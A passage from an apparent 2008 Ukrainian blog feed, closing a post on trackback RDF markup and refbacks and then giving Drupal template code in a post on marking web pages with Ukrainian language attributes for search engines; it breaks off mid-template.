<pre lang="und" xml:lang="und">&lt;rdf:RDF xmlns:rdf=&quot;http://www.w3.org/1999/02/22-rdf-syntax-ns#&quot;<br />             xmlns:dc=&quot;http://purl.org/dc/elements/1.1/&quot;<br />             xmlns:trackback=&quot;http://madskills.com/public/xml/rss/module/trackback/&quot;&gt;<br />    &lt;rdf:Description<br />        rdf:about=&quot;http://www.example.com/5&quot;<br />        dc:identifier=&quot;http://www.example.com/5&quot;<br />        dc:lang=&quot;uk-UA&quot;<br />        dc:title=&quot;Стаття про трекбеки&quot;<br />        trackback:ping=&quot;http://www.example.com/trackback/5&quot; /&gt;<br />    &lt;/rdf:RDF&gt;</pre></blockquote>
<p>&nbsp;Враховуючи, що на сьогоднішній день HTML не дозdоляє в себе вбудовувати rdf - цей блок необхідно вставляти коментарем HTML</p>
<blockquote><p>&lt;!-- &lt;rdf:......&lt;/rdf:RDF&gt; --&gt;</p>
</blockquote>
<p>Що робити з самим посиланням, отриманим по POST - власник одержувача вирішує сам. В моєму випадку отримані посилання, якщо вони не є спамом, відображаються після самої статті перед коментарями, що дозволяє користувачам та роботам прочитати схожі статті та співставити моїй статті схожу(related) десь в іншому місці.</p>
<p>Володіючи достатнім рівнем кваліфікації дану технологію можна розвивати заcобами xml, доповнювати описами, вкладати в rdf додаткові параметри, що будуть повідомляти роботам та клієнтам розширену інформацію по взаємодії - все у наших силах 8)).</p>
<blockquote><p>Закінчуючи дану технічну сторону додам - не всі клієнти та сервери корекнто працюють з даною технологією. Обробку стандарту пишуть люди... А люди, як відомо, роблять помилки. Тому враховуйте це.</p>
</blockquote>
<p>&nbsp;</p>
<hr width="100%" size="2" />
<p>Повертаючись до проблем даної технології скажу -&nbsp; пошукові системи не підтримують дану технології на рівні, який вкладали в неї розробники.</p>
<p>Чому? НМД - на сьогоднішній день в них і так не вистачає ресурсів та методів, щоб обробити існуючу систему інтернету, тому вони не особливо піклуються про технологію, що не набрала ще такої широкої популярності, як скажімо банальне посилання на іншу сторінку. Але, враховуючи, що пошукові системи займаються складним алгоритмом знаходження схожих статей - використання даної технології дозволить авторам різноманітних вебсайтів допомогти їм(роботам) в цьому.</p>
<p>Користувацька сторона технології трекбеків - Вам ,як власнику вебсайта приходить надіслане кимось посилання, що містить в собі інформацію про схожий контент. Це схоже на коментар до Вашої статті, але в даному випадку - коментар може бути на іншому сайті, іншою мовою, більш розвинутий із можливо іншою точкою зору та більшою кількістю фактів тощо.</p>
<p>В результаті - Вам не залишається нічого, окрім пов'язати Вашу статтю із статтею послідовником (rel=&quot;next&quot;), що написана на основі Вашої, бо по суті своїй автор тої статті знайшов Вас і не полінувався повідомити, що тема розвивається далі, і можливо читачам Вашого матеріалу буде цікаво почитати про тему додатково.</p>
<p>Ви ж вказуєте адреси на коментарі до Вашої статті на Вашому вебсайті, От і вказуйте на продовження - це додасть Вам рейтингу від пошукових систем.</p>
<p>Як бути із вебсайтами, що не підтримують технологію трекбеків - тут все просто - в кінці, або на початку Вашої сторінки не полінуйтесь вказати пов'язані матеріали звичайними посиланнями. Підозрюю, що всі читали за своє життя книжки і досить часто спостерігали, що і на початку і в кінці автор міг вказувати список літератури, посилання на певні статті, книжки тощо. Це і є трекбеки, які в паперовому вигляді виглядають саме так.</p>
<p>Тепер прислухайтесь до себе, в моменти, коли ви займаєтесь пошуком деякої інформації. Заходим на пошукову систему, вводим деякі слова, які нас цікавлять, знаходимо по знайденій адресі, якщо інформація неповна, намагаємось на цій же вебсторінці знайти схожі статті, або посилання на першоджерело. Гадаю зрозуміло... Це ж саме розуміють і розробники пошукових систем і впроваджують в свої алгоритми технології пошуку схожих матеріалів. І в першу чергу вони шукають за посиланнями, що вказані саме авторами на сторінці.</p>
<p>А тепер спробуйте проаналізувати, чому так важко знайти схожі статті до Вашого вебсайту.</p>
<p>Скажімо Ви співпрацюєте з однією з бірж посилань, за які Вам платять якусь копійку. Переглядаючи велику кількість вебсайтів, я мало зустрічав авторів, що реально піклуються про схожість - вішають на свій сайт все, за що платять. Багато випадків, думаю і Ви зможете знайти, коли автор скажімо політичного-спрямованого блогу вішає рекламу нижньої білизни - я розумію, що певна моральна схожість є, але для рОбота це посилання буде означати не що інше, як спам. Сподіваюсь Ви зрозуміли, що посилаючись на когось Ви в першу чергу створюєте інформаційний імідж Вашого вебсайту. Може користувач і не побачить адреси на рекламу, але робот аналізує сторінку повністю!</p>
<p>Повертаючись до трекбеків підсумую, що дана технологія дозволяє пов'язати Вашу вебсторінку із вмістом, який допоможе рОботам співставити Вашу роботу із аналогічними або схожими статтями.</p>
<p>Враховуючи, що є люди, які заробляють на всьому, дана технологія також послаблена спамом. У випадку, якщо користувач не піклується про чистоту свого вебсайту і дозволяє отримання та публікацію трекбеків і посилань на своєму вебсайті, а пошуковики звертають увагу на посилання - спамери постійно намагаються всунути туди посилання на вебсайти, з яких вони отримують прибуток. Тому чистота отриманих трекбеків лягає повністю на плечі власників вебсторінок, що приймають їх.</p>
<p>Трекбек сильно пов'язаний з RefBack , якщо Ви підтримуєте технологію трекбеків. Тобто хтось Вам присилає трекбек повідомлення про схожий вміст і Ви публікуєте відповідне посилання на своїй вебсторінці.. В результаті користувачі, переглядаючи Ваш вебсайт переходять за цими посиланнями і передають своїми броузерами вебсайту, на який посилається трекбек інформацію, звідки прийшов користувач, в вигляді referrer в заголовках HTTP протоколу...</p>
<p>Таким чином автор вебсайту, аналізуючи статистику може бачити, що з Вашої сторінки приходять користувачі, може опублікувати в себе посилання на сторінку, у випадку, якщо Ваша стаття має схожий характер. Це і є RefBack.</p>
<blockquote><p>Замість висновка скажу - якщо Вас цікавить співробітництво з іншими вебсайтами, та не останнім бажанням є підняття рейтингу свого власного вебсайту, а також, якщо цікавить, щоб а Ваш вебсайт заходили саме цільові користувачі - відсилайте трекбеки, дуже висока ймовірність, що у випадку дійсно схожості інформації автор, якому прийшов трекбек опублікує в себе посилання на Ваше творіння.</p></blockquote>
<p>Успіху!</p>
<blockquote></blockquote>
    ]]></content>
  </entry>
  <entry>
    <title>Локалізація для української мови</title>
    <link rel="alternate" type="text/html" href="http://my.ukrweb.info/2008/01/7/%D0%BB%D0%BE%D0%BA%D0%B0%D0%BB%D1%96%D0%B7%D0%B0%D1%86%D1%96%D1%8F-%D0%B4%D0%BB%D1%8F-%D1%83%D0%BA%D1%80%D0%B0%D1%97%D0%BD%D1%81%D1%8C%D0%BA%D0%BE%D1%97-%D0%BC%D0%BE%D0%B2%D0%B8" />
    <id>http://my.ukrweb.info/2008/01/7/%D0%BB%D0%BE%D0%BA%D0%B0%D0%BB%D1%96%D0%B7%D0%B0%D1%86%D1%96%D1%8F-%D0%B4%D0%BB%D1%8F-%D1%83%D0%BA%D1%80%D0%B0%D1%97%D0%BD%D1%81%D1%8C%D0%BA%D0%BE%D1%97-%D0%BC%D0%BE%D0%B2%D0%B8</id>
    <published>2008-01-27T20:16:40+02:00</published>
    <updated>2008-08-27T03:58:32+03:00</updated>
    <author>
      <name>podarok</name>
    </author>
    <category term="drupal" />
    <category term="IT" />
    <category term="litediary" />
    <category term="patch" />
    <category term="reloadcms" />
    <category term="search" />
    <category term="seo" />
    <category term="typo3" />
    <category term="ua" />
    <category term="ukrweb" />
    <category term="webmaster" />
    <category term="wordpress" />
    <category term="вебдизайн" />
    <category term="вебмайстер" />
    <category term="патч" />
    <summary type="html"><![CDATA[<div lang="uk" title="Прийняття рішення для локалізації вебсайту">Чи задавали ви собі запитання - чому на мій сайт заходять по ключових словах, але в мене взагалі немає подібного контенту, так, просто в тексті десь схоже слово зустрічається? Якщо не задавали і Вас не цікавить дана тема, а цікавить лише збільшення таких входів - далі читати немає змісту, бо моя методика лише зменшить кількість користувачів по &quot;лівих&quot; словах.
</div>
    ]]></summary>
    <content type="html"><![CDATA[<div lang="uk" title="Прийняття рішення для локалізації вебсайту">Чи задавали ви собі запитання - чому на мій сайт заходять по ключових словах, але в мене взагалі немає подібного контенту, так, просто в тексті десь схоже слово зустрічається? Якщо не задавали і Вас не цікавить дана тема, а цікавить лише збільшення таких входів - далі читати немає змісту, бо моя методика лише зменшить кількість користувачів по &quot;лівих&quot; словах.
<p>  Якщо ж Вам цікаві користувачі, які після входу на сайт будуть зачитуватись ним, як це роблять практично всі, хто зайшов на мій блог - швидше за все дана стаття Вам мінімально, але допоможе, хоча панацея - більш комплексний підхід.</p></div>
<div align="center"><a target="_blank" rel="nofollow" href="http://top.blog.net.ua/"><img height="1" alt="UA TOP Bloggers" width="1" src="http://top.blog.net.ua/tracker.php?do=in&amp;id=428" /></a></div>
<h1>Коротко про важливе</h1>
<ul>
<li><a lang="uk" type="text/html" title="Короткий вступ до статті" name="Короткий вступ до статті" href="#вступ">Вступ</a></li>
<li><a lang="uk" type="text/html" title="Питання локалізації" name="Питання локалізації" href="#локалізація">Локалізація</a></li>
<li><a lang="uk" type="text/html" title="Вплив ключових слів" name="Вплив ключових слів" href="#ключові слова">Зв'язок з ключовими словами</a></li>
<li><a lang="uk" type="text/html" title="Перші кроки" name="Перші кроки" href="#після інсталяції">Перші кроки</a></li>
<li><a lang="uk" type="text/html" title="Складності Друпала" name="Складності Друпала" href="#проблеми drupal">Друпал та локалізація</a>
<ul>
<li><a lang="uk" type="text/html" title="Пошуковики і локалізація" name="Пошуковики і локалізація" href="#наслідки локалізації">Пошуковики і локалізація</a></li>
</ul>
<ul>
<li><a lang="uk" type="text/html" title="Друпал - початок" name="Друпал - початок" href="#локалізуєм друпал">Локалізуєм Друпал</a></li>
</ul>
<ul>
<li><a lang="uk" type="text/html" title="Шаблон друпала до" name="Шаблон друпала до" href="#drupal шаблон до">Шаблон сторінки до</a></li>
</ul>
<ul>
<li><a lang="uk" type="text/html" title="Шаблон друпала із змінами" name="Шаблон друпала із змінами" href="#вносим зміни в шаблон drupal">Вносим зміни</a></li>
</ul>
<ul>
<li><a lang="uk" type="text/html" title="Друпал та XML" name="Друпал та XML" href="#drupal xml">XML + Drupal</a></li>
</ul>
<ul>
<li><a lang="uk" type="text/html" title="приклад локалізації блоку div - універсальний" name="Друпал приклад локалізації блоку div - універсальне" href="#приклад локалізації блоку div">Універсальна локалізація блоку div</a></li>
</ul>
</li>
<li><a lang="uk" type="text/html" title="приклад локалізації блоку div - універсальний" name="Друпал приклад локалізації блоку div - універсальне" href="#приклад локалізації блоку div"></a><a lang="uk" type="text/html" title="Wordpress українською мовою" name="Wordpress українською" href="#локалізація wordpress">Wordpress українською мовою</a>
<ul>
<li><a lang="uk" type="text/html" title="Вордпрес і його шаблони" name="Погляд на шаблони вордпреса" href="#шаблон wordpress">Шаблони, що потребують правок</a></li>
</ul>
<ul>
<li><a lang="uk" type="text/html" title="Шаблон вордпреса до" name="Шаблон вордпреса до" href="#wordpress до">Вордпрес до внесення правок</a></li>
</ul>
<ul>
<li><a lang="uk" type="text/html" title="Документація по ВордПрес з официйного вебсайту розробників" name="Документація по ВордПрес" href="#wordpress codex">Офіційні документи</a></li>
</ul>
<ul>
<li><a lang="uk" type="text/html" title="Шаблон вордпреса із внесеними правками" name="Шаблон вордпреса після" href="#wordpress після">Відкорегований шаблон</a></li>
</ul>
<ul>
<li><a lang="uk" type="text/html" title="Шаблон відображення архівів для ВордПреса" name="Інший шаблон вордпреса" href="#worpdress архіви">Шаблон архівів</a></li>
</ul>
<ul>
<li><a lang="uk" type="text/html" title="Шаблон відображення архівів для ВордПреса українською мовою" name="Вордпрес архіви українською" href="#wordpress локалізований шаблон архівів">Локалізовані архіви</a></li>
</ul>
<ul>
<li><a lang="uk" type="text/html" title="локалізація Вордпрес XML" name="Вордпрес XML" href="#worpdress xml українською">XML ( RSS, ATOM )</a></li>
</ul>
</li>
<ul>
<li><a lang="uk" type="text/html" title="шаблон Вордпрес XML" name="Вордпрес XML template" href="#wordpress xml шаблон">Шаблон для українського XML</a></li>
</ul>
<li><a lang="uk" type="text/html" title="Typo3 + uk локаль" name="Typo3 CMS uk" href="#typo3">Локалізація Typo3 CMS</a></li>
<li><a lang="uk" type="text/html" title="ReloadCMS без проблем" name="ReloadCMS uk" href="#reloadcms локалізовано">ReloadCMS - повага</a>
<ul>
<li><a lang="uk" type="text/html" title="XML ReloadCMS локалізовано без проблем" name="ReloadCMS XML uk" href="#reloadcms xml">XML + ReloadCMS = uk</a></li>
</ul>
<ul>
<li><a lang="uk" type="text/html" title="DIV uk локалізація" name="reloadcms div uk" href="#reloadcms div">Використання div</a></li>
</ul>
<ul>
<li><a lang="uk" type="text/html" title="Приклад мультимовності" name="ReloadCMS multilanguage" href="#reloadcms мультимовність">Кілька мов для ReloadCMS</a></li>
</ul>
</li>
<li><a lang="uk" type="text/html" title="Litediary - ще один український продукт" name="litediary uk" href="#litediary">LiteDiary</a>
<ul>
<li><a lang="uk" type="text/html" title="LiteDiary перелік проблем" name="litediary analisys" href="#litediary аналіз">Проблеми альфа версії</a></li>
</ul>
<ul>
<li><a lang="uk" type="text/html" title="HTML аналіз після LiteDiary" name="litediary html" href="#litediary webcode">HTML, згенерований LD</a></li>
</ul>
<ul>
<li><a lang="uk" type="text/html" title="litediary код xml" name="litediary xml uk" href="#litediary xml code">Litediary XML</a></li>
</ul>
<ul>
<li><a lang="uk" type="text/html" title="Коректування шаблону LiteDiary" name="litediary template" href="#litediary html шаблон">Локалізуємо!</a></li>
</ul>
<ul>
<li><a lang="uk" type="text/html" title="Аналіз виводу XML by LiteDiary" name="litediary xml" href="#litediary xml шаблон">XML != uk</a></li>
</ul>
<ul>
<li><a lang="uk" type="text/html" title="XML правки для LiteDiary" name="litediary xml uk" href="#litediary xml локалізовано">XML = uk </a></li>
</ul>
</li>
<li><a lang="uk" type="text/html" title="Висновки" name="Висновки" href="#епілог">Висновки</a></li>
<hr />
<li><a lang="uk" type="text/html" title="Різниця між xml:lang та lang" name="Різниця між xml:lang та lang" href="#comment-122">Різниця між xml:lang та lang</a></li>
</ul>
<hr width="100%" size="2" />
<p id="вступ" name="вступ">Вітання!<br /> Після коментарів побачив, що проблема зарита набагато глибше - люди, що пишуть блоги - необов'язково розбираються в самій системі, з допомогою якої вони їх пишуть.</p>
<p> Отож, продовжуючи свої статті спробую на прикладі інсталяцій відомих ядер для блогів показати, яким чином просто і ефективно локалізувати свої двигунці.<br /> Справа в тому, що локалізація всіх без виключення систем керування сайтом, при умові використання мов, відмінних від тих, що в своїй основі використовують латиницю - лягає на плечі автора, - хочете Ви цього чи ні.</p>
<p> У випадку української мови - ситуація погіршена тим, що, не зважаючи на те, що нас ~48 мільйонів - пишемо сайти ми криво. І розробники пошукових систем та роботів просто не зустрічають в своїх логах використання української мови в обсязі, достатньому для включення її в список підтримуваних.</p>
<p> Все було б добре, якщо б поряд з українською не було таких схожих мов як російська та білоруська. Ну і інших, слов'янських також. Крім того, у нас відсутній справді локальний пошуковий робот, морфологія якого чітко підтримувала б українську мову.</p>
<p>Можу навести приклад, спробуйте ввести в будь-який пошуковий сервер слово, яке має абсолютно українське походження і практично на першій сторінці ви побачите пошуковий спам росийською чи навіть англійською мовами. Я впевнений, що ситуація буде продовжуватись так і далі.</p>
<p id="локалізація" name="локалізація">Локалізація - справа складна і головна причина проблеми - людська лінь.</p>
<p>Чому?</p>
<p>Бо ставлячи собі на хостінг якийсь двигунець, людина стикається із необхідністю відображати в себе на вебсторінках якісний контент, щоб привернути увагу людей саме чистотою згенерованого коду. Думаю ніхто не буде особливо зачитуватись творами мистецтва, що написані &quot;руско-польсько-украйонською&quot; мовою. В більшості випадків локалізація закінчується лише на стадії перекладу головних мовних слів, які найчастіше зустрічаються на вебсторінках. Це вже непогано! Але зло в тому, що для людей - це добре! І якщо у Вас немає проблем із відвідуваністю вебсайту, і Вас абсолютно не цікавить індексація в пошуковиках - на цьому справді можна зупинитись! Навіть якщо у Вас в коді вказано, що мова сайту китайська - головне, щоб у Ваших користувачів все коректно відображалось. Але якщо у Вас все зав'язано на пошукові сервіси та на відвідуваність по ключовим словам - дуже погано, що на Ваш сайт заходять не по тим запитам, по яким повинні заходити користувачі. Для Вас - ця стаття.</p>
<p id="ключові слова" name="ключові слова"> Чи задавали ви собі запитання - чому на мій сайт заходять по ключових словах, але в мене взагалі немає подібного контенту, так, просто в тексті десь схоже слово зустрічається? Якщо не задавали і Вас не цікавить дана тема, а цікавить лише збільшення таких входів - далі читати немає змісту, бо моя методика лише зменшить кількість користувачів по &quot;лівих&quot; словах.</p>
<p> Якщо ж  Вам цікаві користувачі, які після входу на сайт будуть зачитуватись ним, як це роблять практично всі, хто зайшов на мій блог - швидше за все дана стаття Вам мінімально, але допоможе, хоча панацея - більш комплексний підхід.</p>
<hr width="100%" size="2" />
<p id="після інсталяції" name="після інсталяції">Отже - поставили Ви двигунець, підібрали для нього тему і почали формувати цікаві статті. Нехай мова буде українською. Просто для прикладу і просто по причині того, що цю статтю будуть читати саме україномовні сайто-активісти 8). Після інсталяції та підбору теми у Вас на сайті вже кілька проблем. З ними можна жити, але важко, бо вони будуть відтягувати успішність Вашого проекту.</p>
<p>Чому?</p>
<p>Приклад поряд. Цей блог - працює на друпалі, використовує тему з відкритих шаблонів. Друпал - написаний англомовними авторами (головна його частина), тема &quot;намальована&quot; взагалі арабом, якщо не помиляюсь. Візуально все ок, але заглянувши глибше - вияснив, що володіючи мистецтвом дизайну та здатністю написати толкове ядро, не будеш профі в локалізації цього всього для невідомої мови.</p>
<blockquote lang="uk" hreflang="uk" cite="http://my.ukrweb.info/about" title="Проблема української мови"><p> І дійсно! Для чого їм щось формувати з глибиною розуміння, що їхнє творіння буде використовуватись в країнах, мови яких практично не підтримуються пошуковиками? Підтверджую - не варто! </p></blockquote>
<p id="проблеми drupal" name="проблеми drupal">Більше того, проблема справді не в них! Чи сильно Ви задумувались, щоб Ваш україномовний блог гарно індексувався в англомовних пошукових сегментах інтернету? Гадаю ні.<br /> Отже - про проблеми, з якими стикнувся я!</p>
<ul title="проблеми локалізації друпалу для української мови">
<li>Перша - відсутність повноцінного перекладу автоматичних інтерфейсних елементів, що можна іноді зустріти і зараз(лінь мені);</li>
<li>друга - HTML сформовано саме автором теми і його не хвилювала багатомовність. Можливо саме через ці проблеми я забрав копірайти - це моє &quot;фе&quot; авторам.</li>
</ul>
<p id="наслідки локалізації" name="наслідки локалізації">Все, що Ви бачите - це повноцінно перероблена система, на базі друпалу і теми Internet Services, знайденої мною давно на просторах інтернету.<br /> Після повної локалізації в мене конкретно впала відвідуваність.</p>
<p>Людина я заінтересована в цьому, тому поліз в лічильники і статистики. Як виявилось - дуже різко впала відвідуваність випадкових запитів з пошукових систем. Це тривало досить недовго - тижня три. Аналогічна ситуація була і з іншим проектом, щоправда - російською мовою! Але там ситуація інша - там відвідуваність не падала спочатку - вона вдвічі збільшилась.Причина цьому - краща підтримка російської мови різноманітними онлайн сервісами та пошуковиками.</p>
<p> Отже - згідно статистики - пропали одиночні входи по певним ключовим словам, результатом якого було - зайшла людина, побачила - &quot;не те&quot; і закрила вікно. Зате почали рости входи, результатом яких є глибина проникнення більше 2-3 кліка - тобто це і є аудиторія, якій цікаво про що я тут понаписував.<br /> Одночасно з цим почав дуже серйозно рости рейтинг по Alexa. Та й Яндекс почав обробляти сторінки, хоча закономірністю останнє я не можу назвати(В цей же час і MSN зробив повний індекс сайту за одну ніч, залишивши всі сторінки з максимальним рейтингом в себе в кеші - хоча це також не показник).<br /> Це щодо побічних факторів локалізації, якою я на сьогоднішній день задоволений, хоча і не рахую її завершеною.</p>
<p> Сподіваюсь, Ви зроузуміли трошки суть, тепер технічна сторона.</p>
<p id="локалізуєм друпал" name="локалізуєм друпал"> Система друпал базується на шаблонах, якими виступає виключно тема!<br /> Тобто розробники самого ядра зробили все можливе, щоб зробити локалізацію максимально простою, але люди, що формують ці шаблони не особливо читають документацію, тому багато нюансів не враховують.<br /> Перший нюанс - стандарт багатомовності сторінок, про який я писав в попередніх статтях. Другий - відсутність підтримки пошуковиками багатомовності, що є загальною проблемою для нас і про що я розповім пізніше.<br /> Отже, власникам друпалу дуже сильно раджу прочитати <a lang="en" title="локалізація drupal" target="_blank" name="локалізація drupal" href="http://drupal.org/theme-guide">гіди по створенню тем для друпала</a>. Це складно! І мова там &quot;неукраїнська&quot;, але важливо, щоб мозок бачив технічну сторону процесу.<br /> Після прочитання Theme API Ви мали зрозуміти структуру &quot;теми&quot;, як об'єкту системи друпал. Головним елементом в цьому виступає шаблон <strong>page.tpl.php</strong><br /> Відкривши його Ви зустрінетесь одразу з мовою php. Я навантажив Вас прочитанням Theme API , тому не буду навантажувати вивчення мови php, в принципі воно Вам не потрібно в даному випадку.<br /> <a href="#drupal_before" onclick="$('#drupal_before').slideToggle()">Глянувши на код</a></p>
<blockquote style="display:none" id="drupal_before" name="drupal наблон до" title="шаблон сторінки друпалу до внесення змін"><p><font size="1">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;><br /> &lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; lang=&quot;&lt;?php print $language ?>&quot; xml:lang=&quot;&lt;?php print $language ?>&quot;><br /> &lt;head profile=&quot;http://gmpg.org/xfn/11&quot;><br /> &nbsp; &lt;title>&lt;?php print $head_title ?>&lt;/title><br /> &nbsp; &lt;?php print $head ?><br /> &nbsp; &lt;?php print $styles ?><br /> &nbsp; &lt;?php print $scripts ?><br /> &nbsp; &lt;script type=&quot;text/javascript&quot;>&lt;?php /* Needed to avoid Flash of Unstyle Content in IE */ ?> &lt;/script><br /> &lt;/head><br /> &lt;body><br /> &lt;div id=&quot;page&quot;>&lt;!-- begin page --><br /> &nbsp; &lt;div id=&quot;header&quot;>&lt;!-- begin header --><br /> &nbsp;&nbsp;&nbsp; &lt;?php if ($logo) { ?>&lt;div id=&quot;logo&quot;>&lt;a href=&quot;&lt;?php print $base_path ?>&quot; title=&quot;&lt;?php print $site_name ?>&quot;>&lt;img src=&quot;&lt;?php print $logo ?>&quot; alt=&quot;&lt;?php print $site_name ?>&quot;   />&lt;/a>&lt;/div>&lt;?php } ?><br /> &nbsp;&nbsp;&nbsp; &lt;?php if ($site_name) { ?>&lt;h1 class='site-name'>&lt;a href=&quot;&lt;?php print $base_path ?>&quot; title=&quot;&lt;?php print $site_name ?>&quot;>&lt;?php print $site_name ?>&lt;/a>&lt;/h1>&lt;?php } ?><br /> &nbsp;&nbsp;&nbsp; &lt;?php if ($site_slogan) { ?>&lt;div class='site-slogan'>&lt;?php print $site_slogan ?>&lt;/div>&lt;?php } ?><br /> &nbsp;&nbsp;&nbsp; &lt;?php print $header ?><br /> &nbsp; &lt;/div>&lt;!-- end header --><br /> &nbsp; &lt;?php if (isset($primary_links)) { ?>&lt;div id=&quot;primary&quot;>&lt;?php print theme('primary', $primary_links) ?>&lt;/div>&lt;?php } ?><br /> &nbsp; &lt;?php print $search_box ?><br /> &nbsp; &lt;div id=&quot;content&quot;>&lt;!-- begin content --><br /> &nbsp;&nbsp;&nbsp; &lt;?php if ($sidebar_right) { ?>&lt;div id=&quot;main&quot;>&lt;!-- begin main -->&lt;?php } ?><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;?php if ($mission) { ?><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;div id=&quot;mission&quot;><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;h2 class=&quot;title&quot;>&lt;?php print t('Mission') ?>&lt;/h2><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;div class=&quot;content&quot;>&lt;?php print $mission ?>&lt;/div><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/div><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;?php } ?> <br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;?php print $breadcrumb ?><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;?php if ($title) { ?>&lt;h1 class=&quot;title&quot;>&lt;?php print $title ?>&lt;/h1>&lt;?php } ?><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;div class=&quot;tabs&quot;>&lt;?php print $tabs ?>&lt;/div><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;?php print $help ?><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;?php print $messages ?><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;?php print $content; ?><br /> &nbsp;&nbsp;&nbsp; &lt;?php if ($sidebar_right) { ?>&lt;/div>&lt;!-- end main -->&lt;?php } ?><br /> &nbsp;&nbsp;&nbsp; &lt;?php if ($sidebar_right) { ?><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;div id=&quot;sidebar-right&quot;>&lt;!-- begin sidebar-right --><br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;?php print $sidebar_right ?> <br /> &nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/div>&lt;!-- end sidebar-right --><br /> &nbsp;&nbsp;&nbsp; &lt;?php } ?><br /> &nbsp; &lt;/div>&lt;!-- end content --><br /> &nbsp; &lt;div id=&quot;footer&quot;>&lt;!-- start footer --><br /> &nbsp;&nbsp;&nbsp; &lt;?php print $footer_message ?><br /> &nbsp; &lt;/div>&lt;!-- end footer --><br /> &lt;/div>&lt;!-- end page --><br /> &lt;?php print $closure ?><br /> &lt;/body><br /> &lt;/html></font></p>
</blockquote>
<p>можна володіючи HTML і не володіючи PHP побачити структуру документа, описану на сайті вебконсорціуму.</p>
<p id="вносим зміни в шаблон drupal" name="вносим зміни в шаблон drupal"> В принципі для пересічного блогера, який не володіє технічними аспектами достатньо буде вказати коректно в усіх тегах, що вписані тут параметр <strong>lang=&quot;uk&quot;</strong>  і все буде коректно. Інша справа, якщо вебсайт у Вас кількамовний - тоді варто використовувати елемент ThemeAPI</p>
<blockquote title="стрічка коду для прописування локалі в шаблон друпал"><p><strong>lang=&quot;&lt;?php print $language ?>&quot;</strong></p>
</blockquote>
<p>який автоматом буде підставляти мову, вказану Вами в самому ядрі. Важливо дописати такі параметри до всіх блоків, що використовуються у Вас в друпалі на сайті (теги html, title, meta, h1-h6, div, blockquote, span, p тощо - всі вони підтримують параметр мови) - тоді можна бути впевненим, що проблеми пошуковиків можна буде підкріпити фактом із коду з Вашого вебсайту. <a href="#drupal_my_version" onclick="$('#drupal_my_version').slideToggle()">Повна версія переробленого шаблону з мого вебсайту</a></p>
<blockquote id="drupal_my_version" style="display:none" title="внесені зміни в шаблон друпал для української локалі"><p><font size="1">&lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Strict//EN&quot; &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd&quot;><br /> &lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; lang=&quot;&lt;?php print $language ?>&quot; xml:lang=&quot;&lt;?php print $language ?>&quot;></font></p>
<p> &lt;head profile=&quot;http://gmpg.org/xfn/11&quot; <strong>lang=&quot;&lt;?php print $language ?>&quot;</strong>><br /> &nbsp; &lt;title <strong>lang=&quot;&lt;?php print $language ?>&quot;</strong>>&lt;?php print $head_title ?>&lt;/title><br /> &nbsp; &lt;?php print $head ?><br /> &lt;meta http-equiv=&quot;Content-Language&quot; content=&quot;uk&quot; <strong>lang=&quot;&lt;?php print $language ?>&quot;</strong>   /><br /> &nbsp; &lt;?php print $styles ?><br /> &nbsp; &lt;?php print $scripts ?><br /> &nbsp; &lt;script type=&quot;text/javascript&quot; <strong>lang=&quot;&lt;?php print $language ?>&quot;</strong>>&lt;?php /* Needed to avoid Flash of Unstyle Content in IE */ ?> &lt;/script><br /> &lt;/head></p>
<p> &lt;body <strong>lang=&quot;&lt;?php print $language ?>&quot;</strong>><br /> &lt;div id=&quot;page&quot; <strong>lang=&quot;&lt;?php print $language ?>&quot;</strong>>&lt;!-- begin page --><br /> &nbsp; &lt;div id=&quot;header&quot; <strong>lang=&quot;&lt;?php print $language ?>&quot;</strong>>&lt;!-- begin header --><br /> &nbsp;&nbsp;&nbsp; &lt;?php if ($logo) { ?>&lt;div id=&quot;logo&quot; <strong>lang=&quot;&lt;?php print $language ?>&quot;</strong>>&lt;a href=&quot;&lt;?php print $base_path ?>&quot; title=&quot;&lt;?php print $site_name ?>&quot;>&lt;img src=&quot;&lt;?php print $logo ?>&quot; alt=&quot;&lt;?php print $site_name ?>&quot;   />&lt;/a>&lt;/div>&lt;?php } ?><br /> &nbsp;&nbsp;&nbsp; &lt;?php if ($site_name) { ?>&lt;h1 class='site-name' <strong>lang=&quot;&lt;?php print $language ?>&quot;</strong>>&lt;a href=&quot;&lt;?php print $base_path ?>&quot; title=&quot;&lt;?php print $site_name ?>&quot;>&lt;?php print $site_name ?>&lt;/a>&lt;/h1>&lt;?php } ?><br /> &nbsp;&nbsp;&nbsp; &lt;?php if ($site_slogan) { ?>&lt;div <strong>lang=&quot;&lt;?php print $language ?>&quot;</strong> class='site-slogan'>&lt;?php print $site_slogan ?>&lt;/div>&lt;?php } ?><br /> &nbsp;&nbsp;&nbsp; &lt;?php print $header ?><br /> &nbsp; &lt;/div>&lt;!-- end header --><br /> &nbsp; &lt;?php if (isset($primary_links)) { ?>&lt;div <strong>lang=&quot;&lt;?php print $language ?>&quot;</strong> id=&quot;primary&quot;>&lt;?php print theme('primary', $primary_links) ?>&lt;/div>&lt;?php } ?><br /> &nbsp; &lt;?php print $search_box ?><br /> &nbsp; &lt;div id=&quot;content&quot; 